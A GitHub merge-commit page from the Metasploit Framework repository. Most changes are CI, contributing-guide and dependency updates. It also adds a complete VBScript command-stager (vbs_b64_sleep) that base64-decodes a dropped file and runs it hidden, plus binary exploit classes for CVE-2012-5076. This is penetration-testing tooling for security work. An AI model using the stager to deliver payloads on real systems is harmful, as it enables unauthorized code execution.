Skip to content

Commit 17d8d36

Browse files
egyptegypt
committed
Merge branch 'rapid7' into midnitesnake-postgres_payload
2 parents ac1b60e + 414fd05 commit 17d8d36

File tree

702 files changed

+20068
-4054
lines changed

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

702 files changed

+20068
-4054
lines changed

‎.gitignore

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -6,6 +6,8 @@
66
.yardoc
77
# Mac OS X files
88
.DS_Store
9+
# simplecov coverage data
10+
coverage
911
data/meterpreter/ext_server_pivot.dll
1012
data/meterpreter/ext_server_pivot.x64.dll
1113
doc

‎.travis.yml

Lines changed: 8 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,8 @@
1+
language: ruby
2+
rvm:
3+
- '1.8.7'
4+
- '1.9.3'
5+
6+
notifications:
7+
irc: "irc.freenode.org#msfnotify"
8+

‎CONTRIBUTING.md

Lines changed: 33 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,33 @@
1+
# Contributing to Metasploit
2+
3+
## Reporting Bugs
4+
5+
If you would like to report a bug, please take a look at [our Redmine
6+
issue
7+
tracker](https://dev.metasploit.com/redmine/projects/framework/issues?query_id=420)
8+
-- your bug may already have been reported there! Simply [searching](https://dev.metasploit.com/redmine/projects/framework/search) for some appropriate keywords may save everyone a lot of hassle.
9+
10+
If your bug is new and you'd like to report it you will need to
11+
[register
12+
first](https://dev.metasploit.com/redmine/account/register). Don't
13+
worry, it's easy and fun and takes about 30 seconds.
14+
15+
## Contributing Metasploit Modules
16+
17+
If you have an exploit that you'd like to contribute to the Metasploit
18+
Framework, please familiarize yourself with the
19+
**[HACKING](https://github.com/rapid7/metasploit-framework/blob/master/HACKING)**
20+
document in the
21+
Metasploit-Framework repository. There are many mysteries revealed in
22+
HACKING concerning code style and content.
23+
24+
[Pull requests](https://github.com/rapid7/metasploit-framework/pulls)
25+
should corellate with modules at a 1:1 ratio
26+
-- there is rarely a good reason to have two, three, or ten modules on
27+
one pull request, as this dramatically increases the review time
28+
required to land (commit) any of those modules.
29+
30+
Pull requests tend to be very collaborative for Metasploit -- do not be
31+
surprised if your pull request to rapid7/metasploit-framework triggers a
32+
pull request back to your own fork. In this way, we can isolate working
33+
changes before landing your PR to the Metasploit master branch.

‎Gemfile

Lines changed: 4 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -5,7 +5,7 @@ gem 'activesupport', '>= 3.0.0'
55
# Needed for Msf::DbManager
66
gem 'activerecord'
77
# Database models shared between framework and Pro.
8-
gem 'metasploit_data_models', :git => 'git://github.com/rapid7/metasploit_data_models.git'
8+
gem 'metasploit_data_models', :git => 'git://github.com/rapid7/metasploit_data_models.git', :tag => '0.3.0'
99
# Needed for module caching in Mdm::ModuleDetails
1010
gem 'pg', '>= 0.11'
1111

@@ -24,4 +24,7 @@ end
2424
group :test do
2525
# testing framework
2626
gem 'rspec'
27+
# code coverage for tests
28+
# any version newer than 0.5.4 gives an Encoding error when trying to read the source files.
29+
gem 'simplecov', '0.5.4', :require => false
2730
end

‎Gemfile.lock

Lines changed: 9 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -1,8 +1,9 @@
11
GIT
22
remote: git://github.com/rapid7/metasploit_data_models.git
3-
revision: dd6c3a31c5ad8b55f4913b5ba20307178ba9c7bf
3+
revision: 73f26789500f278dd6fd555e839d09a3b81a05f4
4+
tag: 0.3.0
45
specs:
5-
metasploit_data_models (0.0.2)
6+
metasploit_data_models (0.3.0)
67
activerecord
78
activesupport
89
pg
@@ -27,7 +28,7 @@ GEM
2728
coderay (1.0.8)
2829
diff-lcs (1.1.3)
2930
i18n (0.6.1)
30-
method_source (0.8)
31+
method_source (0.8.1)
3132
multi_json (1.3.6)
3233
pg (0.14.1)
3334
pry (0.9.10)
@@ -44,6 +45,10 @@ GEM
4445
rspec-expectations (2.11.3)
4546
diff-lcs (~> 1.1.3)
4647
rspec-mocks (2.11.3)
48+
simplecov (0.5.4)
49+
multi_json (~> 1.0.3)
50+
simplecov-html (~> 0.5.3)
51+
simplecov-html (0.5.3)
4752
slop (3.3.3)
4853
tzinfo (0.3.33)
4954
yard (0.8.2.1)
@@ -59,4 +64,5 @@ DEPENDENCIES
5964
rake
6065
redcarpet
6166
rspec
67+
simplecov (= 0.5.4)
6268
yard

‎README.md

Lines changed: 4 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,5 @@
11

2-
Metasploit
2+
Metasploit [![Build Status](https://travis-ci.org/rapid7/metasploit-framework.png)](https://travis-ci.org/rapid7/metasploit-framework) [![Code Climate](https://codeclimate.com/badge.png)](https://codeclimate.com/github/rapid7/metasploit-framework)
33
==
44
The Metasploit Framework is released under a BSD-style license. See
55
COPYING for more details.
@@ -40,10 +40,11 @@ reading some of the great tutorials online:
4040

4141
Contributing
4242
--
43-
See the [Dev Environment Setup][wiki-devenv] guide on github which will
43+
See the [Dev Environment Setup][wiki-devenv] guide on GitHub which will
4444
walk you through the whole process starting from installing all the
4545
dependencies, to cloning the repository, and finally to submitting a
46-
pull request.
46+
pull request. For slightly more info, see
47+
[Contributing](https://github.com/rapid7/metasploit-framework/blob/master/CONTRIBUTING.md).
4748

4849

4950
[wiki-devenv]: https://github.com/rapid7/metasploit-framework/wiki/Metasploit-Development-Environment "Metasploit Development Environment Setup"

‎data/exploits/cmdstager/vbs_b64_sleep

Lines changed: 41 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,41 @@
1+
echo Set fs = CreateObject("Scripting.FileSystemObject") >>decode_stub
2+
echo Set file = fs.GetFile("ENCODED") >>decode_stub
3+
echo If file.Size Then >>decode_stub
4+
echo Set fd = fs.OpenTextFile("ENCODED", 1) >>decode_stub
5+
echo data = fd.ReadAll >>decode_stub
6+
echo data = Replace(data, vbCrLf, "") >>decode_stub
7+
echo data = base64_decode(data) >>decode_stub
8+
echo fd.Close >>decode_stub
9+
echo Set ofs = CreateObject("Scripting.FileSystemObject").OpenTextFile("DECODED", 2, True) >>decode_stub
10+
echo ofs.Write data >>decode_stub
11+
echo ofs.close >>decode_stub
12+
echo Set shell = CreateObject("Wscript.Shell") >>decode_stub
13+
echo shell.run "DECODED", 0, false >>decode_stub
14+
echo Wscript.sleep(1000 * 60 * 5) >>decode_stub
15+
echo Else >>decode_stub
16+
echo Wscript.Echo "The file is empty." >>decode_stub
17+
echo End If >>decode_stub
18+
echo Function base64_decode(byVal strIn) >>decode_stub
19+
echo Dim w1, w2, w3, w4, n, strOut >>decode_stub
20+
echo For n = 1 To Len(strIn) Step 4 >>decode_stub
21+
echo w1 = mimedecode(Mid(strIn, n, 1)) >>decode_stub
22+
echo w2 = mimedecode(Mid(strIn, n + 1, 1)) >>decode_stub
23+
echo w3 = mimedecode(Mid(strIn, n + 2, 1)) >>decode_stub
24+
echo w4 = mimedecode(Mid(strIn, n + 3, 1)) >>decode_stub
25+
echo If Not w2 Then _ >>decode_stub
26+
echo strOut = strOut + Chr(((w1 * 4 + Int(w2 / 16)) And 255)) >>decode_stub
27+
echo If Not w3 Then _ >>decode_stub
28+
echo strOut = strOut + Chr(((w2 * 16 + Int(w3 / 4)) And 255)) >>decode_stub
29+
echo If Not w4 Then _ >>decode_stub
30+
echo strOut = strOut + Chr(((w3 * 64 + w4) And 255)) >>decode_stub
31+
echo Next >>decode_stub
32+
echo base64_decode = strOut >>decode_stub
33+
echo End Function >>decode_stub
34+
echo Function mimedecode(byVal strIn) >>decode_stub
35+
echo Base64Chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" >>decode_stub
36+
echo If Len(strIn) = 0 Then >>decode_stub
37+
echo mimedecode = -1 : Exit Function >>decode_stub
38+
echo Else >>decode_stub
39+
echo mimedecode = InStr(Base64Chars, strIn) - 1 >>decode_stub
40+
echo End If >>decode_stub
41+
echo End Function >>decode_stub

‎data/exploits/cve-2012-5076/Exploit.class

2.16 KB
Binary file not shown.

‎data/exploits/cve-2012-5076/MyPayload.class

706 Bytes
Binary file not shown.

‎data/gui/msfgui.jar

769 Bytes
Binary file not shown.

0 commit comments

Comments
 (0)